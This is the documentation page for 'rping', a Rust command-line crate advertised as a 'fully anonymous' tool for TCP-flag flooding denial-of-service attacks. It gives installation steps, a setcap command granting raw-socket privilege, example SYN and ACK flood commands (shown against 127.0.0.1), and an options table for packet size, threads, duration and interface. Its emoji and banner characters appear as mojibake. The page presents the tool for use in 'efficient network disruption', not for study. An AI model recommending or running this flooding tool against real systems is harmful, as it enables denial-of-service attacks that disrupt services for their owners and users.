Crate rping

source ยท
Expand description

ยง๐ŸŒŠ RPING

Crates.io docs License

rping 0.1.6
 โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„  โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„  โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„  โ–„โ–„        โ–„  โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„ 
โ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œโ–โ–‘โ–‘โ–Œ      โ–โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œ
โ–โ–‘โ–ˆโ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–ˆโ–‘โ–Œโ–โ–‘โ–ˆโ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–ˆโ–‘โ–Œ โ–€โ–€โ–€โ–€โ–ˆโ–‘โ–ˆโ–€โ–€โ–€โ–€ โ–โ–‘โ–Œโ–‘โ–Œ     โ–โ–‘โ–Œโ–โ–‘โ–ˆโ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€ 
โ–โ–‘โ–Œ       โ–โ–‘โ–Œโ–โ–‘โ–Œ       โ–โ–‘โ–Œ     โ–โ–‘โ–Œ     โ–โ–‘โ–Œโ–โ–‘โ–Œ    โ–โ–‘โ–Œโ–โ–‘โ–Œ          
โ–โ–‘โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–‘โ–Œโ–โ–‘โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–‘โ–Œ     โ–โ–‘โ–Œ     โ–โ–‘โ–Œ โ–โ–‘โ–Œ   โ–โ–‘โ–Œโ–โ–‘โ–Œ โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„ 
โ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œ     โ–โ–‘โ–Œ     โ–โ–‘โ–Œ  โ–โ–‘โ–Œ  โ–โ–‘โ–Œโ–โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œ
โ–โ–‘โ–ˆโ–€โ–€โ–€โ–€โ–ˆโ–‘โ–ˆโ–€โ–€ โ–โ–‘โ–ˆโ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€      โ–โ–‘โ–Œ     โ–โ–‘โ–Œ   โ–โ–‘โ–Œ โ–โ–‘โ–Œโ–โ–‘โ–Œ โ–€โ–€โ–€โ–€โ–€โ–€โ–ˆโ–‘โ–Œ
โ–โ–‘โ–Œ     โ–โ–‘โ–Œ  โ–โ–‘โ–Œ               โ–โ–‘โ–Œ     โ–โ–‘โ–Œ    โ–โ–‘โ–Œโ–โ–‘โ–Œโ–โ–‘โ–Œ       โ–โ–‘โ–Œ
โ–โ–‘โ–Œ      โ–โ–‘โ–Œ โ–โ–‘โ–Œ           โ–„โ–„โ–„โ–„โ–ˆโ–‘โ–ˆโ–„โ–„โ–„โ–„ โ–โ–‘โ–Œ     โ–โ–‘โ–โ–‘โ–Œโ–โ–‘โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–‘โ–Œ
โ–โ–‘โ–Œ       โ–โ–‘โ–Œโ–โ–‘โ–Œ          โ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œโ–โ–‘โ–Œ      โ–โ–‘โ–‘โ–Œโ–โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–Œ
 โ–€         โ–€  โ–€            โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€  โ–€        โ–€โ–€  โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€โ–€ 

๐ŸŒŠ RPING CLI
============

A powerful command-line tool for executing TCP flags flooding attacks.
Customize attacks with options like packet length, number of threads,
and TCP flags for efficient network disruption.

๐Ÿš€ rping: A robust, fully anonymous, Rust-based CLI for any TCP flag flooding attacks.

ยง๐Ÿ“– Table of Contents

ยง๐Ÿš€ Installation

To install rping, use the following Cargo command:

cargo install --locked --all-features rping

Once installed, run the following command:

sudo setcap cap_net_raw+ep ~/.cargo/bin/rping

This will set the CAP_NET_RAW capability and make rping run with elevated privileges.

ยงโœจ Features

  • Perform any TCP flag, e.g. syn, flooding attacks with customizable parameters.
  • Specify the length of tcp packets, target IP, target port, number of packets and the attack duration.
  • Multi-threaded execution for increased efficiency.
  • Both IP and TCP packets are carefully crafted to simulate a fully anonymous any flag TCP DoS Flood.

ยง๐Ÿš— Usage

Learn how to use rping and explore its features with the following examples:

ยงPerform a SYN flooding attack:

rping -t 127.0.0.1 -p 80

ยงSpecify the packet length:

rping -s 150 -t 127.0.0.1 -p 443

ยงUse multiple threads:

rping -s 1500 -t 127.0.0.1 -p 8080 -h 16

ยงSpecify the TCP flag (e.g., ack, urg):

rping -f ack -t 127.0.0.1 -p 8080

ยงSet the attack duration in minutes:

rping -d 5 -t 127.0.0.1 -p 80

ยงSet the number of packets per thread:

rping -n 10000 -t 127.0.0.1 -p 8080

ยงSet the network interface:

rping -n 10000 -t 127.0.0.1 -p 8080 -i eth0

ยง๐ŸŽจ Options

OptionDefault ValueDescription
-s, --size1500Set the length of SYN packets.
-t, --targetSpecify the target IP address to flood.
-p, --port80Set the target port number for the attack.
-h, --threads8Set the number of threads for the attack.
-f, --flagsynSpecify the TCP flag (e.g., syn, ack, urgโ€ฆ).
-d, --duration1Set the attack duration in minutes.
-n, --number2^63Set the number of packets per thread.
-i, --ifaceeth0Set the network interface to bind the socket to.

[!NOTE] Configuring the network interface is restricted to iOS, macOS, tvOS, or watchOS due to limitations in socket2.

ยง๐Ÿค Contributing

Contributions and feedback are welcome! If youโ€™d like to contribute, report an issue, or suggest an enhancement, please engage with the project on GitHub. Your contributions help improve this CLI tool for the community.

ยง๐Ÿ“„ License

This project is licensed under the MIT License.

Modulesยง